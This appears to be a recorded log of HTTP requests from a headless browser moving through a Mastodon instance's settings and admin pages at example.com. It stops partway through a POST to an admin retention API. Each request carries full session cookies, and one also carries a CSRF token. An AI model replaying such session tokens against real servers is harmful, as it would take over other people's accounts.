{"method": "GET", "target": "/packs/accounts_typed-Xu0a4dCy.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/applications", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjEuOTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d41065973c1bb08c319ed5594c469cf4da2af0b6; _mastodon_session=FWlHLVe2uuDQR5JbW%2FVUF%2FhtjUfwQJAQp%2BtmIAkmRjBULNixxq7IaYj1xVRKl8NlVrUv8D6Ijf0w87KNI%2FH5kVigHq2mEJ81cUIiXsJDINXdz7dV94s4ttpt7%2BoeZClbVhwOSGLOcNti7%2Fdt9Qg0Sso0p5xTJGpISOsxd%2F7onewqk6g0jEXvabz%2BbcXWoAx%2F4r0%2FxC%2BgWoJ1JiJ0FoNoX94SJ6Nr0GOvcbDGCEGHdVOwVzRbKWoFjOZbHGf3VtBR5ybLz%2Bm%2Bpelfq25q0Wc3EWDVd0KRRIiY2a2lU7eM9hBCkEEP0v0csq0I6Nw80SJtEZi4dZVtSNJ4xa25mlmG3CHyt41ulGTEoggghbio4Vc5J%2FQef%2FKnyU5cDHppYb4Knhn%2FeTo3cPzd--A2UHlZgFFJOUGwSH--Rl%2FRZEts3cIwDYMFJ9uwQA%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjEuOTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d41065973c1bb08c319ed5594c469cf4da2af0b6; _mastodon_session=FWlHLVe2uuDQR5JbW%2FVUF%2FhtjUfwQJAQp%2BtmIAkmRjBULNixxq7IaYj1xVRKl8NlVrUv8D6Ijf0w87KNI%2FH5kVigHq2mEJ81cUIiXsJDINXdz7dV94s4ttpt7%2BoeZClbVhwOSGLOcNti7%2Fdt9Qg0Sso0p5xTJGpISOsxd%2F7onewqk6g0jEXvabz%2BbcXWoAx%2F4r0%2FxC%2BgWoJ1JiJ0FoNoX94SJ6Nr0GOvcbDGCEGHdVOwVzRbKWoFjOZbHGf3VtBR5ybLz%2Bm%2Bpelfq25q0Wc3EWDVd0KRRIiY2a2lU7eM9hBCkEEP0v0csq0I6Nw80SJtEZi4dZVtSNJ4xa25mlmG3CHyt41ulGTEoggghbio4Vc5J%2FQef%2FKnyU5cDHppYb4Knhn%2FeTo3cPzd--A2UHlZgFFJOUGwSH--Rl%2FRZEts3cIwDYMFJ9uwQA%3D%3D"], "body": ""}
{"method": "GET", "target": "/relationships", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjQuODU5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f80387b813e2aa31c2ce960474cb5aea5f6f8239; _mastodon_session=IKoIk%2F2Zt%2BbQwuwPHCreKoer6wq%2FPUalC1%2BGdCluh3C0XloQeQ9fq2D3CzSgKBrk7e9PehwLJ0Tll2V7X18sKvFv0eBuhuPIhjPfsF4FNDGoz%2Fz7PkpLVIe7NH8OPLkE51kr35%2F0fYSoPfVz6UQYZvTssbZaZMRx179YzX6ZdCHv5P7vIAmUk1D8mBRlMe50nHHyFi%2FFvLpXaptNqPx7tUIvZ9M5R4FzBLxuJu%2FJqRsbIjLRhyS9N495tQfAt5%2Fld9uOy%2FXDuK9o0XPM4buMQg15QSFKz0QcY1rfQHzywT0rS55Adhgi8AvbzdpHXvcaxGI3vsDS66CeZhbgJPbsC07lhfil7mrqiOldVubC3nE0I40B%2BOgAK67GIPUB10vPv%2FxELzDPPO5A--%2BVh5QejLBVzuglr1--A1Rlzkk77pKJhyvMEvH3SA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/api-CGawW2vu.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/relationships", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjcuNzExWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a8d793f59ae1d5533ff4eef19c823a3b0c6d7cb4; _mastodon_session=F%2FzFIXYPd1cqyDu7WR7OUjv3jAKwIup%2FTWWN63a4WqCyZJ1irxIUnr4f5SqrC230U4hhWs6lNZVdANU%2F7ifCZbS2EcJ1fByFgX1fct24Ec1QZnURAUri4ocOwSr%2B4rPILj5M46ACnSRv3tdI8zJgXWnX2lSuRFE7WIzJomVUch447wkwKcHtDjZVP9BoPoeZdN6TfKonwqo8m%2B%2BDSTlhh06QVIR1HghZvYPjgP%2FOzwkmtBdmS4IAmQO%2FCugqA2ZOn6Lq7LXH6jGxkxO86iRAZKii0EltkPac4G0uERm29CHNDCjpX85%2BSMBM3JLgdtsHrfX7gig8T%2FE50R5eii4G3ioVXsWbkS%2B2hbWHGrkbqCWY6LRC1PoFjulu3qCVrpeplKyxapxtOUQS--eBN4vhxhJReS6UbX--sauLaauD4Csf0UrEIIeoVQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/verification", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjcuNzExWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a8d793f59ae1d5533ff4eef19c823a3b0c6d7cb4; _mastodon_session=F%2FzFIXYPd1cqyDu7WR7OUjv3jAKwIup%2FTWWN63a4WqCyZJ1irxIUnr4f5SqrC230U4hhWs6lNZVdANU%2F7ifCZbS2EcJ1fByFgX1fct24Ec1QZnURAUri4ocOwSr%2B4rPILj5M46ACnSRv3tdI8zJgXWnX2lSuRFE7WIzJomVUch447wkwKcHtDjZVP9BoPoeZdN6TfKonwqo8m%2B%2BDSTlhh06QVIR1HghZvYPjgP%2FOzwkmtBdmS4IAmQO%2FCugqA2ZOn6Lq7LXH6jGxkxO86iRAZKii0EltkPac4G0uERm29CHNDCjpX85%2BSMBM3JLgdtsHrfX7gig8T%2FE50R5eii4G3ioVXsWbkS%2B2hbWHGrkbqCWY6LRC1PoFjulu3qCVrpeplKyxapxtOUQS--eBN4vhxhJReS6UbX--sauLaauD4Csf0UrEIIeoVQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/axios-BtspdZ3f.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/verification", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MzAuNTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4efff74d1a733092ca2daca6573b247d1a4adde6; _mastodon_session=xsNX2WvDJRlI6FeoZ2gCfQ7%2FYKRYdhsB%2BucVy91eGVg8I%2BTtEa2bEA7kAIl1cYveJS%2F2UxJufKswWlhozCyr2l%2FNj0Z%2BO%2FkwhV4sWvtnC1%2F%2FIJTMPraxlqHUOn%2FG8LAOzcjbRinZc96nJmRcLTSaH0FRtsmAf4Nrk%2FVr3jjxB3tBznu24E%2FwA2YBygTA%2FzpATCfqbxhWfWF4WECr8LqmErzEcOkyNxX%2BeJyTTlVtxDHqSuIomCYZu0ycX57bllkwLiWTnjLUnOVdpUD7BGJkRGLPYMvonKc%2FAm91bpEKsN7ZEw451KfuGcnNsc6jkAX4%2FZy4g5gxCeqFfpqa%2BIUTHZWF5IUZI1AB3xhn%2BP8n1C4s0YX%2FFAqE20y%2FaYofHJIXxP5VSQai5Dvt--vibqNYjivHtWaU%2Bo--91Yw0wPrQFNC44NOgGeFLg%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MzAuNTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4efff74d1a733092ca2daca6573b247d1a4adde6; _mastodon_session=xsNX2WvDJRlI6FeoZ2gCfQ7%2FYKRYdhsB%2BucVy91eGVg8I%2BTtEa2bEA7kAIl1cYveJS%2F2UxJufKswWlhozCyr2l%2FNj0Z%2BO%2FkwhV4sWvtnC1%2F%2FIJTMPraxlqHUOn%2FG8LAOzcjbRinZc96nJmRcLTSaH0FRtsmAf4Nrk%2FVr3jjxB3tBznu24E%2FwA2YBygTA%2FzpATCfqbxhWfWF4WECr8LqmErzEcOkyNxX%2BeJyTTlVtxDHqSuIomCYZu0ycX57bllkwLiWTnjLUnOVdpUD7BGJkRGLPYMvonKc%2FAm91bpEKsN7ZEw451KfuGcnNsc6jkAX4%2FZy4g5gxCeqFfpqa%2BIUTHZWF5IUZI1AB3xhn%2BP8n1C4s0YX%2FFAqE20y%2FaYofHJIXxP5VSQai5Dvt--vibqNYjivHtWaU%2Bo--91Yw0wPrQFNC44NOgGeFLg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/locales-BkCPern1.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/featured_tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MzMuNDI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--39e97d04693913db5d01a248369ed6fc39f866fc; _mastodon_session=PtF3%2B2SbEwiSB3Ee%2Fd1y6tjFDnycVAcyZUjaJ22F3cGW8I6D6cTlSmaQEn41AtLwlsURxTDzPyMhLyrY3m8J%2BYFeXvDrxsVlXryHn%2F9NQaiR3jqVANCdTklQXe7JOWTQCHS23ovvvjzgwPtWI%2FFM5kw4nT8mCNyqMTp49RJJB%2FHMvN%2BurqXfCeUcxVUVc8GFtTA5NbjMdKFAGMM2frSFB9khDTiBYDq%2F9g8NhLXlFoDKnxynuQ0tuTMc7Tc5K7%2Ft50sAs%2BpwYdrFXafCbrRjdSFuO9Zs2JxOD713k8IKDu7uD5MWMbSLN3Vdagjg04wxxR0uWdQXbtVXueqFBd1rzHoMgHcKA%2FsoF7r3fRVnt4c3CdTZivhv1u8kXjDF8UTKejBplnkLZ5xJ--8FE407Sve3lI2buy--ulWeDSj72%2FG%2BoZmZTPkVBw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/ready-B3bZnx13.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=UJlraWd3K9cO0MFqwrqGtakBWsIEq95ctCmMPOwQC%2F0hqxmuOw%2BYSMzVIOyT69T8PseGocltvcNC0m3Zxst6Gu3m%2Bhp1QwmBaxLEQBzR%2BeXzeXvtJ25KOLnM%2F8H0tT2b6X%2FDxCpLBWGGEIk5U8rDvoCmu0GFUx1S1o2Us%2FCnnlt7Co10e1a3W7g7ge9XTk9UVFmk4LlkMyByCnJytcQVHXE2ZuHjEheCbIPCMWLgwZPqUu3dLB3XFccIBHr2Qf%2BOnHQ564yr6UXn%2BOLgsNFpirU0gCLbUY8RyA%3D%3D--%2BC58uBQAFyYj4VH4--62QYBwUYVMsL4NHmq%2FBDWw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/tab_list-e25X12WM.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/icon_button-DfNtv8BJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/compose_form_container-BsuzTwz6.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/roboto-regular-webfont-DjumA6RA.woff2", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/packs/assets/themes/default-DkDM-a1D.css", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/api/v1/admin/retention", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 67", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 